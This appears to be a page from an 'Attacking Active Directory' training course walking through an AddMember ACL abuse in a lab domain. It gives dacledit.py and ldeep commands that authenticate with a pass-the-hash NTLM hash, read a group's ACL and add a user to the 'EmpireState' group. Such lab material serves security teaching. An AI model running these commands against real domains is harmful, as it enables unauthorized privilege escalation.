> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/user-acl-exploits/addmember-on-group-radiocity-greater-than-empirestate.md).

# AddMember on Group (RadioCity -> EmpireState)

* Now as Nicolas we are in the RadioCity, so we can add a member to EmpireState's group.
* So we just add Nicolas.Maduro just like we did before

### See who is part of the group

Nobody is part of the group, YETTTT!

```
dacledit.py -action 'read' -principal nicolas.maduro -target 'Empirestate' 'NewYork.local'/'nicolas.maduro' -hashes 00000000000000000000000000000000:b3b3717f7d51b37fb325f7e7d048e998
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2F1mQUE1bYEYAT2mWYR13f%2Fimage.png?alt=media&amp;token=ce98662b-a4a6-4089-a9a2-227ad8f88a87" alt=""><figcaption></figcaption></figure>

### Add Nicolas.Maduro to EmpireState

```
ldeep ldap -u Nicolas.Maduro -H ':b3b3717f7d51b37fb325f7e7d048e998' -d NewYork.local -s ldap://192.168.56.10 add_to_group "CN=Nicolas.Maduro,OU=SugarHill,DC=NewYork,DC=local" "CN=EmpireState,OU=WestSide,DC=NewYork,DC=local"
```

### See Nicolas is part of the Group now! Move ON!

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FIOrep9RxidzRvztVkNbG%2Fimage.png?alt=media&amp;token=62b44989-52b4-4951-aa19-2677a7454a93" alt=""><figcaption></figcaption></figure>